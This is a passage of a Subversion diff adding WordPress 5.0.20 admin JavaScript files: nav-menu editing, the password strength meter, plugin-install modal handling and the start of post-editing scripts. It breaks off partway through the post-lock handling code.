+				} else if ( depthChange < 0 && maxChildDepth == menuMaxDepth ) {
+					while( ! $('.menu-item-depth-' + newDepth, api.menuList).length && newDepth > 0 )
+						newDepth--;
+				}
+				// Update the depth class.
+				body.removeClass( 'menu-max-depth-' + menuMaxDepth ).addClass( 'menu-max-depth-' + newDepth );
+				menuMaxDepth = newDepth;
+			}
+		},
+
+		initManageLocations : function () {
+			$('#menu-locations-wrap form').submit(function(){
+				window.onbeforeunload = null;
+			});
+			$('.menu-location-menus select').on('change', function () {
+				var editLink = $(this).closest('tr').find('.locations-edit-menu-link');
+				if ($(this).find('option:selected').data('orig'))
+					editLink.show();
+				else
+					editLink.hide();
+			});
+		},
+
+		attachMenuEditListeners : function() {
+			var that = this;
+			$('#update-nav-menu').bind('click', function(e) {
+				if ( e.target && e.target.className ) {
+					if ( -1 != e.target.className.indexOf('item-edit') ) {
+						return that.eventOnClickEditLink(e.target);
+					} else if ( -1 != e.target.className.indexOf('menu-save') ) {
+						return that.eventOnClickMenuSave(e.target);
+					} else if ( -1 != e.target.className.indexOf('menu-delete') ) {
+						return that.eventOnClickMenuDelete(e.target);
+					} else if ( -1 != e.target.className.indexOf('item-delete') ) {
+						return that.eventOnClickMenuItemDelete(e.target);
+					} else if ( -1 != e.target.className.indexOf('item-cancel') ) {
+						return that.eventOnClickCancelLink(e.target);
+					}
+				}
+			});
+			$('#add-custom-links input[type="text"]').keypress(function(e){
+				$('#customlinkdiv').removeClass('form-invalid');
+
+				if ( e.keyCode === 13 ) {
+					e.preventDefault();
+					$( '#submit-customlinkdiv' ).click();
+				}
+			});
+		},
+
+		attachMenuSaveSubmitListeners : function() {
+			/*
+			 * When a navigation menu is saved, store a JSON representation of all form data
+			 * in a single input to avoid PHP `max_input_vars` limitations. See #14134.
+			 */
+			$( '#update-nav-menu' ).submit( function() {
+				var navMenuData = $( '#update-nav-menu' ).serializeArray();
+				$( '[name="nav-menu-data"]' ).val( JSON.stringify( navMenuData ) );
+			});
+		},
+
+		attachThemeLocationsListeners : function() {
+			var loc = $('#nav-menu-theme-locations'), params = {};
+			params.action = 'menu-locations-save';
+			params['menu-settings-column-nonce'] = $('#menu-settings-column-nonce').val();
+			loc.find('input[type="submit"]').click(function() {
+				loc.find('select').each(function() {
+					params[this.name] = $(this).val();
+				});
+				loc.find( '.spinner' ).addClass( 'is-active' );
+				$.post( ajaxurl, params, function() {
+					loc.find( '.spinner' ).removeClass( 'is-active' );
+				});
+				return false;
+			});
+		},
+
+		attachQuickSearchListeners : function() {
+			var searchTimer,
+				inputEvent;
+
+			// Prevent form submission.
+			$( '#nav-menu-meta' ).on( 'submit', function( event ) {
+				event.preventDefault();
+			});
+
+			/*
+			 * Use feature detection to determine whether inputs should use
+			 * the `keyup` or `input` event. Input is preferred but lacks support
+			 * in legacy browsers. See changeset 34078, see also ticket #26600#comment:59
+			 */
+			if ( 'oninput' in document.createElement( 'input' ) ) {
+				inputEvent = 'input';
+			} else {
+				inputEvent = 'keyup';
+			}
+
+			$( '#nav-menu-meta' ).on( inputEvent, '.quick-search', function() {
+				var $this = $( this );
+
+				$this.attr( 'autocomplete', 'off' );
+
+				if ( searchTimer ) {
+					clearTimeout( searchTimer );
+				}
+
+				searchTimer = setTimeout( function() {
+					api.updateQuickSearchResults( $this );
+ 				}, 500 );
+			}).on( 'blur', '.quick-search', function() {
+				api.lastSearch = '';
+			});
+		},
+
+		updateQuickSearchResults : function(input) {
+			var panel, params,
+				minSearchLength = 2,
+				q = input.val();
+
+			/*
+			 * Minimum characters for a search. Also avoid a new AJAX search when
+			 * the pressed key (e.g. arrows) doesn't change the searched term.
+			 */
+			if ( q.length < minSearchLength || api.lastSearch == q ) {
+				return;
+			}
+
+			api.lastSearch = q;
+
+			panel = input.parents('.tabs-panel');
+			params = {
+				'action': 'menu-quick-search',
+				'response-format': 'markup',
+				'menu': $('#menu').val(),
+				'menu-settings-column-nonce': $('#menu-settings-column-nonce').val(),
+				'q': q,
+				'type': input.attr('name')
+			};
+
+			$( '.spinner', panel ).addClass( 'is-active' );
+
+			$.post( ajaxurl, params, function(menuMarkup) {
+				api.processQuickSearchQueryResponse(menuMarkup, params, panel);
+			});
+		},
+
+		addCustomLink : function( processMethod ) {
+			var url = $('#custom-menu-item-url').val(),
+				label = $('#custom-menu-item-name').val();
+
+			processMethod = processMethod || api.addMenuItemToBottom;
+
+			if ( '' === url || 'http://' == url ) {
+				$('#customlinkdiv').addClass('form-invalid');
+				return false;
+			}
+
+			// Show the ajax spinner
+			$( '.customlinkdiv .spinner' ).addClass( 'is-active' );
+			this.addLinkToMenu( url, label, processMethod, function() {
+				// Remove the ajax spinner
+				$( '.customlinkdiv .spinner' ).removeClass( 'is-active' );
+				// Set custom link form back to defaults
+				$('#custom-menu-item-name').val('').blur();
+				$('#custom-menu-item-url').val('http://');
+			});
+		},
+
+		addLinkToMenu : function(url, label, processMethod, callback) {
+			processMethod = processMethod || api.addMenuItemToBottom;
+			callback = callback || function(){};
+
+			api.addItemToMenu({
+				'-1': {
+					'menu-item-type': 'custom',
+					'menu-item-url': url,
+					'menu-item-title': label
+				}
+			}, processMethod, callback);
+		},
+
+		addItemToMenu : function(menuItem, processMethod, callback) {
+			var menu = $('#menu').val(),
+				nonce = $('#menu-settings-column-nonce').val(),
+				params;
+
+			processMethod = processMethod || function(){};
+			callback = callback || function(){};
+
+			params = {
+				'action': 'add-menu-item',
+				'menu': menu,
+				'menu-settings-column-nonce': nonce,
+				'menu-item': menuItem
+			};
+
+			$.post( ajaxurl, params, function(menuMarkup) {
+				var ins = $('#menu-instructions');
+
+				menuMarkup = $.trim( menuMarkup ); // Trim leading whitespaces
+				processMethod(menuMarkup, params);
+
+				// Make it stand out a bit more visually, by adding a fadeIn
+				$( 'li.pending' ).hide().fadeIn('slow');
+				$( '.drag-instructions' ).show();
+				if( ! ins.hasClass( 'menu-instructions-inactive' ) && ins.siblings().length )
+					ins.addClass( 'menu-instructions-inactive' );
+
+				callback();
+			});
+		},
+
+		/**
+		 * Process the add menu item request response into menu list item. Appends to menu.
+		 *
+		 * @param {string} menuMarkup The text server response of menu item markup.
+		 *
+		 * @fires document#menu-item-added Passes menuMarkup as a jQuery object.
+		 */
+		addMenuItemToBottom : function( menuMarkup ) {
+			var $menuMarkup = $( menuMarkup );
+			$menuMarkup.hideAdvancedMenuItemFields().appendTo( api.targetList );
+			api.refreshKeyboardAccessibility();
+			api.refreshAdvancedAccessibility();
+			$( document ).trigger( 'menu-item-added', [ $menuMarkup ] );
+		},
+
+		/**
+		 * Process the add menu item request response into menu list item. Prepends to menu.
+		 *
+		 * @param {string} menuMarkup The text server response of menu item markup.
+		 *
+		 * @fires document#menu-item-added Passes menuMarkup as a jQuery object.
+		 */
+		addMenuItemToTop : function( menuMarkup ) {
+			var $menuMarkup = $( menuMarkup );
+			$menuMarkup.hideAdvancedMenuItemFields().prependTo( api.targetList );
+			api.refreshKeyboardAccessibility();
+			api.refreshAdvancedAccessibility();
+			$( document ).trigger( 'menu-item-added', [ $menuMarkup ] );
+		},
+
+		attachUnsavedChangesListener : function() {
+			$('#menu-management input, #menu-management select, #menu-management, #menu-management textarea, .menu-location-menus select').change(function(){
+				api.registerChange();
+			});
+
+			if ( 0 !== $('#menu-to-edit').length || 0 !== $('.menu-location-menus select').length ) {
+				window.onbeforeunload = function(){
+					if ( api.menusChanged )
+						return navMenuL10n.saveAlert;
+				};
+			} else {
+				// Make the post boxes read-only, as they can't be used yet
+				$( '#menu-settings-column' ).find( 'input,select' ).end().find( 'a' ).attr( 'href', '#' ).unbind( 'click' );
+			}
+		},
+
+		registerChange : function() {
+			api.menusChanged = true;
+		},
+
+		attachTabsPanelListeners : function() {
+			$('#menu-settings-column').bind('click', function(e) {
+				var selectAreaMatch, panelId, wrapper, items,
+					target = $(e.target);
+
+				if ( target.hasClass('nav-tab-link') ) {
+
+					panelId = target.data( 'type' );
+
+					wrapper = target.parents('.accordion-section-content').first();
+
+					// upon changing tabs, we want to uncheck all checkboxes
+					$('input', wrapper).removeAttr('checked');
+
+					$('.tabs-panel-active', wrapper).removeClass('tabs-panel-active').addClass('tabs-panel-inactive');
+					$('#' + panelId, wrapper).removeClass('tabs-panel-inactive').addClass('tabs-panel-active');
+
+					$('.tabs', wrapper).removeClass('tabs');
+					target.parent().addClass('tabs');
+
+					// select the search bar
+					$('.quick-search', wrapper).focus();
+
+					// Hide controls in the search tab if no items found.
+					if ( ! wrapper.find( '.tabs-panel-active .menu-item-title' ).length ) {
+						wrapper.addClass( 'has-no-menu-item' );
+					} else {
+						wrapper.removeClass( 'has-no-menu-item' );
+					}
+
+					e.preventDefault();
+				} else if ( target.hasClass('select-all') ) {
+					selectAreaMatch = /#(.*)$/.exec(e.target.href);
+					if ( selectAreaMatch && selectAreaMatch[1] ) {
+						items = $('#' + selectAreaMatch[1] + ' .tabs-panel-active .menu-item-title input');
+						if( items.length === items.filter(':checked').length )
+							items.removeAttr('checked');
+						else
+							items.prop('checked', true);
+						return false;
+					}
+				} else if ( target.hasClass('submit-add-to-menu') ) {
+					api.registerChange();
+
+					if ( e.target.id && 'submit-customlinkdiv' == e.target.id )
+						api.addCustomLink( api.addMenuItemToBottom );
+					else if ( e.target.id && -1 != e.target.id.indexOf('submit-') )
+						$('#' + e.target.id.replace(/submit-/, '')).addSelectedToMenu( api.addMenuItemToBottom );
+					return false;
+				}
+			});
+
+			/*
+			 * Delegate the `click` event and attach it just to the pagination
+			 * links thus excluding the current page `<span>`. See ticket #35577.
+			 */
+			$( '#nav-menu-meta' ).on( 'click', 'a.page-numbers', function() {
+				var $container = $( this ).closest( '.inside' );
+
+				$.post( ajaxurl, this.href.replace( /.*\?/, '' ).replace( /action=([^&]*)/, '' ) + '&action=menu-get-metabox',
+					function( resp ) {
+						var metaBoxData = $.parseJSON( resp ),
+							toReplace;
+
+						if ( -1 === resp.indexOf( 'replace-id' ) ) {
+							return;
+						}
+
+						// Get the post type menu meta box to update.
+						toReplace = document.getElementById( metaBoxData['replace-id'] );
+
+						if ( ! metaBoxData.markup || ! toReplace ) {
+							return;
+						}
+
+						// Update the post type menu meta box with new content from the response.
+						$container.html( metaBoxData.markup );
+					}
+				);
+
+				return false;
+			});
+		},
+
+		eventOnClickEditLink : function(clickedEl) {
+			var settings, item,
+			matchedSection = /#(.*)$/.exec(clickedEl.href);
+			if ( matchedSection && matchedSection[1] ) {
+				settings = $('#'+matchedSection[1]);
+				item = settings.parent();
+				if( 0 !== item.length ) {
+					if( item.hasClass('menu-item-edit-inactive') ) {
+						if( ! settings.data('menu-item-data') ) {
+							settings.data( 'menu-item-data', settings.getItemData() );
+						}
+						settings.slideDown('fast');
+						item.removeClass('menu-item-edit-inactive')
+							.addClass('menu-item-edit-active');
+					} else {
+						settings.slideUp('fast');
+						item.removeClass('menu-item-edit-active')
+							.addClass('menu-item-edit-inactive');
+					}
+					return false;
+				}
+			}
+		},
+
+		eventOnClickCancelLink : function(clickedEl) {
+			var settings = $( clickedEl ).closest( '.menu-item-settings' ),
+				thisMenuItem = $( clickedEl ).closest( '.menu-item' );
+			thisMenuItem.removeClass('menu-item-edit-active').addClass('menu-item-edit-inactive');
+			settings.setItemData( settings.data('menu-item-data') ).hide();
+			return false;
+		},
+
+		eventOnClickMenuSave : function() {
+			var locs = '',
+			menuName = $('#menu-name'),
+			menuNameVal = menuName.val();
+			// Cancel and warn if invalid menu name
+			if( !menuNameVal || menuNameVal == menuName.attr('title') || !menuNameVal.replace(/\s+/, '') ) {
+				menuName.parent().addClass('form-invalid');
+				return false;
+			}
+			// Copy menu theme locations
+			$('#nav-menu-theme-locations select').each(function() {
+				locs += '<input type="hidden" name="' + this.name + '" value="' + $(this).val() + '" />';
+			});
+			$('#update-nav-menu').append( locs );
+			// Update menu item position data
+			api.menuList.find('.menu-item-data-position').val( function(index) { return index + 1; } );
+			window.onbeforeunload = null;
+
+			return true;
+		},
+
+		eventOnClickMenuDelete : function() {
+			// Delete warning AYS
+			if ( window.confirm( navMenuL10n.warnDeleteMenu ) ) {
+				window.onbeforeunload = null;
+				return true;
+			}
+			return false;
+		},
+
+		eventOnClickMenuItemDelete : function(clickedEl) {
+			var itemID = parseInt(clickedEl.id.replace('delete-', ''), 10);
+			api.removeMenuItem( $('#menu-item-' + itemID) );
+			api.registerChange();
+			return false;
+		},
+
+		/**
+		 * Process the quick search response into a search result
+		 *
+		 * @param string resp The server response to the query.
+		 * @param object req The request arguments.
+		 * @param jQuery panel The tabs panel we're searching in.
+		 */
+		processQuickSearchQueryResponse : function(resp, req, panel) {
+			var matched, newID,
+			takenIDs = {},
+			form = document.getElementById('nav-menu-meta'),
+			pattern = /menu-item[(\[^]\]*/,
+			$items = $('<div>').html(resp).find('li'),
+			wrapper = panel.closest( '.accordion-section-content' ),
+			$item;
+
+			if( ! $items.length ) {
+				$('.categorychecklist', panel).html( '<li><p>' + navMenuL10n.noResultsFound + '</p></li>' );
+				$( '.spinner', panel ).removeClass( 'is-active' );
+				wrapper.addClass( 'has-no-menu-item' );
+				return;
+			}
+
+			$items.each(function(){
+				$item = $(this);
+
+				// make a unique DB ID number
+				matched = pattern.exec($item.html());
+
+				if ( matched && matched[1] ) {
+					newID = matched[1];
+					while( form.elements['menu-item[' + newID + '][menu-item-type]'] || takenIDs[ newID ] ) {
+						newID--;
+					}
+
+					takenIDs[newID] = true;
+					if ( newID != matched[1] ) {
+						$item.html( $item.html().replace(new RegExp(
+							'menu-item\\[' + matched[1] + '\\]', 'g'),
+							'menu-item[' + newID + ']'
+						) );
+					}
+				}
+			});
+
+			$('.categorychecklist', panel).html( $items );
+			$( '.spinner', panel ).removeClass( 'is-active' );
+			wrapper.removeClass( 'has-no-menu-item' );
+		},
+
+		/**
+		 * Remove a menu item.
+		 * @param  {object} el The element to be removed as a jQuery object.
+		 *
+		 * @fires document#menu-removing-item Passes the element to be removed.
+		 */
+		removeMenuItem : function(el) {
+			var children = el.childMenuItems();
+
+			$( document ).trigger( 'menu-removing-item', [ el ] );
+			el.addClass('deleting').animate({
+					opacity : 0,
+					height: 0
+				}, 350, function() {
+					var ins = $('#menu-instructions');
+					el.remove();
+					children.shiftDepthClass( -1 ).updateParentMenuItemDBId();
+					if ( 0 === $( '#menu-to-edit li' ).length ) {
+						$( '.drag-instructions' ).hide();
+						ins.removeClass( 'menu-instructions-inactive' );
+					}
+					api.refreshAdvancedAccessibility();
+				});
+		},
+
+		depthToPx : function(depth) {
+			return depth * api.options.menuItemDepthPerLevel;
+		},
+
+		pxToDepth : function(px) {
+			return Math.floor(px / api.options.menuItemDepthPerLevel);
+		}
+
+	};
+
+	$(document).ready(function(){ wpNavMenu.init(); });
+
+})(jQuery);
Index: /tags/5.0.20/src/wp-admin/js/password-strength-meter.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/password-strength-meter.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/password-strength-meter.js	(revision 56912)
@@ -0,0 +1,80 @@
+/* global zxcvbn */
+window.wp = window.wp || {};
+
+var passwordStrength;
+(function($){
+	wp.passwordStrength = {
+		/**
+		 * Determine the strength of a given password
+		 *
+		 * @param string password1 The password
+		 * @param array blacklist An array of words that will lower the entropy of the password
+		 * @param string password2 The confirmed password
+		 */
+		meter : function( password1, blacklist, password2 ) {
+			if ( ! $.isArray( blacklist ) )
+				blacklist = [ blacklist.toString() ];
+
+			if (password1 != password2 && password2 && password2.length > 0)
+				return 5;
+
+			if ( 'undefined' === typeof window.zxcvbn ) {
+				// Password strength unknown.
+				return -1;
+			}
+
+			var result = zxcvbn( password1, blacklist );
+			return result.score;
+		},
+
+		/**
+		 * Builds an array of data that should be penalized, because it would lower the entropy of a password if it were used
+		 *
+		 * @return array The array of data to be blacklisted
+		 */
+		userInputBlacklist : function() {
+			var i, userInputFieldsLength, rawValuesLength, currentField,
+				rawValues       = [],
+				blacklist       = [],
+				userInputFields = [ 'user_login', 'first_name', 'last_name', 'nickname', 'display_name', 'email', 'url', 'description', 'weblog_title', 'admin_email' ];
+
+			// Collect all the strings we want to blacklist
+			rawValues.push( document.title );
+			rawValues.push( document.URL );
+
+			userInputFieldsLength = userInputFields.length;
+			for ( i = 0; i < userInputFieldsLength; i++ ) {
+				currentField = $( '#' + userInputFields[ i ] );
+
+				if ( 0 === currentField.length ) {
+					continue;
+				}
+
+				rawValues.push( currentField[0].defaultValue );
+				rawValues.push( currentField.val() );
+			}
+
+			// Strip out non-alphanumeric characters and convert each word to an individual entry
+			rawValuesLength = rawValues.length;
+			for ( i = 0; i < rawValuesLength; i++ ) {
+				if ( rawValues[ i ] ) {
+					blacklist = blacklist.concat( rawValues[ i ].replace( /\W/g, ' ' ).split( ' ' ) );
+				}
+			}
+
+			// Remove empty values, short words, and duplicates. Short words are likely to cause many false positives.
+			blacklist = $.grep( blacklist, function( value, key ) {
+				if ( '' === value || 4 > value.length ) {
+					return false;
+				}
+
+				return $.inArray( value, blacklist ) === key;
+			});
+
+			return blacklist;
+		}
+	};
+
+	// Back-compat.
+	passwordStrength = wp.passwordStrength.meter;
+})(jQuery);
Index: /tags/5.0.20/src/wp-admin/js/plugin-install.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/plugin-install.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/plugin-install.js	(revision 56912)
@@ -0,0 +1,220 @@
+/* global plugininstallL10n, tb_click, tb_remove */
+
+/**
+ * Functionality for the plugin install screens.
+ */
+var tb_position;
+jQuery( document ).ready( function( $ ) {
+
+	var tbWindow,
+		$iframeBody,
+		$tabbables,
+		$firstTabbable,
+		$lastTabbable,
+		$focusedBefore = $(),
+		$uploadViewToggle = $( '.upload-view-toggle' ),
+		$wrap = $ ( '.wrap' ),
+		$body = $( document.body );
+
+	tb_position = function() {
+		var width = $( window ).width(),
+			H = $( window ).height() - ( ( 792 < width ) ? 60 : 20 ),
+			W = ( 792 < width ) ? 772 : width - 20;
+
+		tbWindow = $( '#TB_window' );
+
+		if ( tbWindow.length ) {
+			tbWindow.width( W ).height( H );
+			$( '#TB_iframeContent' ).width( W ).height( H );
+			tbWindow.css({
+				'margin-left': '-' + parseInt( ( W / 2 ), 10 ) + 'px'
+			});
+			if ( typeof document.body.style.maxWidth !== 'undefined' ) {
+				tbWindow.css({
+					'top': '30px',
+					'margin-top': '0'
+				});
+			}
+		}
+
+		return $( 'a.thickbox' ).each( function() {
+			var href = $( this ).attr( 'href' );
+			if ( ! href ) {
+				return;
+			}
+			href = href.replace( /&width=[0-9]+/g, '' );
+			href = href.replace( /&height=[0-9]+/g, '' );
+			$(this).attr( 'href', href + '&width=' + W + '&height=' + ( H ) );
+		});
+	};
+
+	$( window ).resize( function() {
+		tb_position();
+	});
+
+	/*
+	 * Custom events: when a Thickbox iframe has loaded and when the Thickbox
+	 * modal gets removed from the DOM.
+	 */
+	$body
+		.on( 'thickbox:iframe:loaded', tbWindow, function() {
+			/*
+			 * Return if it's not the modal with the plugin details iframe. Other
+			 * thickbox instances might want to load an iframe with content from
+			 * an external domain. Avoid to access the iframe contents when we're
+			 * not sure the iframe loads from the same domain.
+			 */
+			if ( ! tbWindow.hasClass( 'plugin-details-modal' ) ) {
+				return;
+			}
+
+			iframeLoaded();
+		})
+		.on( 'thickbox:removed', function() {
+			// Set focus back to the element that opened the modal dialog.
+			// Note: IE 8 would need this wrapped in a fake setTimeout `0`.
+			$focusedBefore.focus();
+		});
+
+	function iframeLoaded() {
+		var $iframe = tbWindow.find( '#TB_iframeContent' );
+
+		// Get the iframe body.
+		$iframeBody = $iframe.contents().find( 'body' );
+
+		// Get the tabbable elements and handle the keydown event on first load.
+		handleTabbables();
+
+		// Set initial focus on the "Close" button.
+		$firstTabbable.focus();
+
+		/*
+		 * When the "Install" button is disabled (e.g. the Plugin is already installed)
+		 * then we can't predict where the last focusable element is. We need to get
+		 * the tabbable elements and handle the keydown event again and again,
+		 * each time the active tab panel changes.
+		 */
+		$( '#plugin-information-tabs a', $iframeBody ).on( 'click', function() {
+			handleTabbables();
+		});
+
+		// Close the modal when pressing Escape.
+		$iframeBody.on( 'keydown', function( event ) {
+			if ( 27 !== event.which ) {
+				return;
+			}
+			tb_remove();
+		});
+	}
+
+	/*
+	 * Get the tabbable elements and detach/attach the keydown event.
+	 * Called after the iframe has fully loaded so we have all the elements we need.
+	 * Called again each time a Tab gets clicked.
+	 * @todo Consider to implement a WordPress general utility for this and don't use jQuery UI.
+	 */
+	function handleTabbables() {
+		var $firstAndLast;
+		// Get all the tabbable elements.
+		$tabbables = $( ':tabbable', $iframeBody );
+		// Our first tabbable element is always the "Close" button.
+		$firstTabbable = tbWindow.find( '#TB_closeWindowButton' );
+		// Get the last tabbable element.
+		$lastTabbable = $tabbables.last();
+		// Make a jQuery collection.
+		$firstAndLast = $firstTabbable.add( $lastTabbable );
+		// Detach any previously attached keydown event.
+		$firstAndLast.off( 'keydown.wp-plugin-details' );
+		// Attach again the keydown event on the first and last focusable elements.
+		$firstAndLast.on( 'keydown.wp-plugin-details', function( event ) {
+			constrainTabbing( event );
+		});
+	}
+
+	// Constrain tabbing within the plugin modal dialog.
+	function constrainTabbing( event ) {
+		if ( 9 !== event.which ) {
+			return;
+		}
+
+		if ( $lastTabbable[0] === event.target && ! event.shiftKey ) {
+			event.preventDefault();
+			$firstTabbable.focus();
+		} else if ( $firstTabbable[0] === event.target && event.shiftKey ) {
+			event.preventDefault();
+			$lastTabbable.focus();
+		}
+	}
+
+	/*
+	 * Open the Plugin details modal. The event is delegated to get also the links
+	 * in the plugins search tab, after the AJAX search rebuilds the HTML. It's
+	 * delegated on the closest ancestor and not on the body to avoid conflicts
+	 * with other handlers, see Trac ticket #43082.
+	 */
+	$( '.wrap' ).on( 'click', '.thickbox.open-plugin-details-modal', function( e ) {
+		// The `data-title` attribute is used only in the Plugin screens.
+		var title = $( this ).data( 'title' ) ? plugininstallL10n.plugin_information + ' ' + $( this ).data( 'title' ) : plugininstallL10n.plugin_modal_label;
+
+		e.preventDefault();
+		e.stopPropagation();
+
+		// Store the element that has focus before opening the modal dialog, i.e. the control which opens it.
+		$focusedBefore = $( this );
+
+		tb_click.call(this);
+
+		// Set ARIA role, ARIA label, and add a CSS class.
+		tbWindow
+			.attr({
+				'role': 'dialog',
+				'aria-label': plugininstallL10n.plugin_modal_label
+			})
+			.addClass( 'plugin-details-modal' );
+
+		// Set title attribute on the iframe.
+		tbWindow.find( '#TB_iframeContent' ).attr( 'title', title );
+	});
+
+	/* Plugin install related JS */
+	$( '#plugin-information-tabs a' ).click( function( event ) {
+		var tab = $( this ).attr( 'name' );
+		event.preventDefault();
+
+		// Flip the tab
+		$( '#plugin-information-tabs a.current' ).removeClass( 'current' );
+		$( this ).addClass( 'current' );
+
+		// Only show the fyi box in the description section, on smaller screen, where it's otherwise always displayed at the top.
+		if ( 'description' !== tab && $( window ).width() < 772 ) {
+			$( '#plugin-information-content' ).find( '.fyi' ).hide();
+		} else {
+			$( '#plugin-information-content' ).find( '.fyi' ).show();
+		}
+
+		// Flip the content.
+		$( '#section-holder div.section' ).hide(); // Hide 'em all.
+		$( '#section-' + tab ).show();
+	});
+
+	/*
+	 * When a user presses the "Upload Plugin" button, show the upload form in place
+	 * rather than sending them to the devoted upload plugin page.
+	 * The `?tab=upload` page still exists for no-js support and for plugins that
+	 * might access it directly. When we're in this page, let the link behave
+	 * like a link. Otherwise we're in the normal plugin installer pages and the
+	 * link should behave like a toggle button.
+	 */
+	if ( ! $wrap.hasClass( 'plugin-install-tab-upload' ) ) {
+		$uploadViewToggle
+			.attr({
+				role: 'button',
+				'aria-expanded': 'false'
+			})
+			.on( 'click', function( event ) {
+				event.preventDefault();
+				$body.toggleClass( 'show-upload-view' );
+				$uploadViewToggle.attr( 'aria-expanded', $body.hasClass( 'show-upload-view' ) );
+			});
+	}
+});
Index: /tags/5.0.20/src/wp-admin/js/post.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/post.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/post.js	(revision 56912)
@@ -0,0 +1,1268 @@
+/* global postL10n, ajaxurl, wpAjax, setPostThumbnailL10n, postboxes, pagenow, tinymce, alert, deleteUserSetting */
+/* global theList:true, theExtraList:true, getUserSetting, setUserSetting, commentReply */
+
+/**
+ * Contains all dynamic functionality needed on post and term pages.
+ *
+ * @summary Control page and term functionality.
+ */
+
+var commentsBox, WPSetThumbnailHTML, WPSetThumbnailID, WPRemoveThumbnail, wptitlehint, makeSlugeditClickable, editPermalink;
+// Backwards compatibility: prevent fatal errors.
+makeSlugeditClickable = editPermalink = function(){};
+
+// Make sure the wp object exists.
+window.wp = window.wp || {};
+
+( function( $ ) {
+	var titleHasFocus = false;
+
+	/**
+	 * Control loading of comments on the post and term edit pages.
+	 *
+	 * @type {{st: number, get: commentsBox.get, load: commentsBox.load}}
+	 *
+	 * @namespace commentsBox
+	 */
+	commentsBox = {
+		// Comment offset to use when fetching new comments.
+		st : 0,
+
+		/**
+		 * Fetch comments using AJAX and display them in the box.
+		 *
+		 * @param {int} total Total number of comments for this post.
+		 * @param {int} num   Optional. Number of comments to fetch, defaults to 20.
+		 * @returns {boolean} Always returns false.
+		 *
+		 * @memberof commentsBox
+		 */
+		get : function(total, num) {
+			var st = this.st, data;
+			if ( ! num )
+				num = 20;
+
+			this.st += num;
+			this.total = total;
+			$( '#commentsdiv .spinner' ).addClass( 'is-active' );
+
+			data = {
+				'action' : 'get-comments',
+				'mode' : 'single',
+				'_ajax_nonce' : $('#add_comment_nonce').val(),
+				'p' : $('#post_ID').val(),
+				'start' : st,
+				'number' : num
+			};
+
+			$.post(
+				ajaxurl,
+				data,
+				function(r) {
+					r = wpAjax.parseAjaxResponse(r);
+					$('#commentsdiv .widefat').show();
+					$( '#commentsdiv .spinner' ).removeClass( 'is-active' );
+
+					if ( 'object' == typeof r && r.responses[0] ) {
+						$('#the-comment-list').append( r.responses[0].data );
+
+						theList = theExtraList = null;
+						$( 'a[className*=\':\']' ).unbind();
+
+						// If the offset is over the total number of comments we cannot fetch any more, so hide the button.
+						if ( commentsBox.st > commentsBox.total )
+							$('#show-comments').hide();
+						else
+							$('#show-comments').show().children('a').html(postL10n.showcomm);
+
+						return;
+					} else if ( 1 == r ) {
+						$('#show-comments').html(postL10n.endcomm);
+						return;
+					}
+
+					$('#the-comment-list').append('<tr><td colspan="2">'+wpAjax.broken+'</td></tr>');
+				}
+			);
+
+			return false;
+		},
+
+		/**
+		 * Load the next batch of comments.
+		 *
+		 * @param {int} total Total number of comments to load.
+		 *
+		 * @memberof commentsBox
+		 */
+		load: function(total){
+			this.st = jQuery('#the-comment-list tr.comment:visible').length;
+			this.get(total);
+		}
+	};
+
+	/**
+	 * Overwrite the content of the Featured Image postbox
+	 *
+	 * @param {string} html New HTML to be displayed in the content area of the postbox.
+	 *
+	 * @global
+	 */
+	WPSetThumbnailHTML = function(html){
+		$('.inside', '#postimagediv').html(html);
+	};
+
+	/**
+	 * Set the Image ID of the Featured Image
+	 *
+	 * @param {int} id The post_id of the image to use as Featured Image.
+	 *
+	 * @global
+	 */
+	WPSetThumbnailID = function(id){
+		var field = $('input[value="_thumbnail_id"]', '#list-table');
+		if ( field.length > 0 ) {
+			$('#meta\\[' + field.attr('id').match(/[0-9]+/) + '\\]\\[value\\]').text(id);
+		}
+	};
+
+	/**
+	 * Remove the Featured Image
+	 *
+	 * @param {string} nonce Nonce to use in the request.
+	 *
+	 * @global
+	 */
+	WPRemoveThumbnail = function(nonce){
+		$.post(ajaxurl, {
+			action: 'set-post-thumbnail', post_id: $( '#post_ID' ).val(), thumbnail_id: -1, _ajax_nonce: nonce, cookie: encodeURIComponent( document.cookie )
+		},
+			/**
+			 * Handle server response
+			 *
+			 * @param {string} str Response, will be '0' when an error occurred otherwise contains link to add Featured Image.
+			 */
+			function(str){
+			if ( str == '0' ) {
+				alert( setPostThumbnailL10n.error );
+			} else {
+				WPSetThumbnailHTML(str);
+			}
+		}
+		);
+	};
+
+	/**
+	 * Heartbeat locks.
+	 *
+	 * Used to lock editing of an object by only one user at a time.
+	 *
+	 * When the user does not send a heartbeat in a heartbeat-time
+	 * the user is no longer editing and another user can start editing.
+	 */
+	$(document).on( 'heartbeat-send.refresh-lock', function( e, data ) {
+		var lock = $('#active_post_lock').val(),
+			post_id = $('#post_ID').val(),
+			send = {};
+
+		if ( ! post_id || ! $('#post-lock-dialog').length )
+			return;
+
+		send.post_id = post_id;
+
+		if ( lock )
+			send.lock = lock;
+
+		data['wp-refresh-post-lock'] = send;
+
+	}).on( 'heartbeat-tick.refresh-lock', function( e, data ) {
+		// Post locks: update the lock string or show the dialog if somebody has taken over editing.
+		var received, wrap, avatar;
+
+		if ( data['wp-refresh-post-lock'] ) {
+			received = data['wp-refresh-post-lock'];
+
+			if ( received.lock_error ) {
+				// Show "editing taken over" message.
+				wrap = $('#post-lock-dialog');
+
+				if ( wrap.length && ! wrap.is(':visible') ) {
+					if ( wp.autosave ) {
+						// Save the latest changes and disable.
+						$(document).one( 'heartbeat-tick', function() {
+							wp.autosave.server.suspend();
+							wrap.removeClass('saving').addClass('saved');
+							$(window).off( 'beforeunload.edit-post' );
+						});
+
+						wrap.addClass('saving');
+						wp.autosave.server.triggerSave();
+					}
+
+					if ( received.lock_error.avatar_src ) {
+						avatar = $( '<img class="avatar avatar-64 photo" width="64" height="64" alt="" />' ).attr( 'src', received.lock_error.avatar_src.replace( /&amp;/g, '&' ) );
+						wrap.find('div.post-locked-avatar').empty().append( avatar );
+					}
+
+					wrap.show().find('.currently-editing').text( received.lock_error.text );
+					wrap.find('.wp-tab-first').focus();
+				}
+			} else if ( received.new_lock ) {
